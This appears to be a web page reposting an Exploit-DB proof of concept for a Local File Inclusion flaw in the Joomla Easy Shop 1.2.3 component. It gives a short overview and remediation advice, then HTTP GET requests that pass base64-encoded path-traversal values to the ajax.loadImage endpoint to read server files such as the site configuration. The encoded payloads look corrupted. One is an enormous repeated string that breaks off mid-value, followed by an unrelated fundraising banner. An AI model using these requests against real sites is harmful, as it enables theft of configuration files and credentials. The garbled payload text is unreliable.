Joomla Easy Shop 1.2.3 Local File Inclusion (LFI) Vulnerability with POC

Vulnerability Overview Vulnerability Name: Joomla! Component Easy Shop 1.2.3 - Local File Inclusion EDB-ID: 46219 Author: Ihsan Sencan Type: Webapps Platform: PHP Date: 2019-01-22 Vulnerability Description: This vulnerability allows attackers to read sensitive files on the server through a Local File Inclusion (LFI) flaw. Impact Scope Affected Software: Joomla! Component Easy Shop 1.2.3 Test Environment: WIN7 x64/KaliLinux x64 Exploitation Conditions: Requires knowledge of the target website's path ([PATH]) Remediation Official Link: Joomla! Extensions Recommended Measures: Update to the latest version or apply the official patch. POC Code ```plaintext Exploit Title: Joomla! Component Easy Shop 1.2.3 - Local File Inclusion Dork: N/A Date: 2019-01-22 Exploit Author: Ihsan Sencan Vendor Homepage: https://joomtech.net/ Software D.: https://www.joomtech.net/products/easyshop?task=file.download&key=7ba4aafda5995fb3b1383328165df1e10f Software Link: https://extensions.joomla.org/extensions/e-commerce/shopping-cart/easy-shop/ Version: 1.2.3 Category: Webapps Tested on: WIN7 x64/KaliLinux x64 CVE: N/A POC: 1) http://localhost/[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=[BASE64_FILE_NAME] GET /[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=Ll4vLl4vY29uZmldXJhdGlvb1SwMA== HTTP/1.1 GET /[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=Ll4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vLl4vL

Goal Reached Thanks to every supporter — we hit 100%!

Joomla Easy Shop 1.2.3 Local File Inclusion (LFI) Vulnerability with POC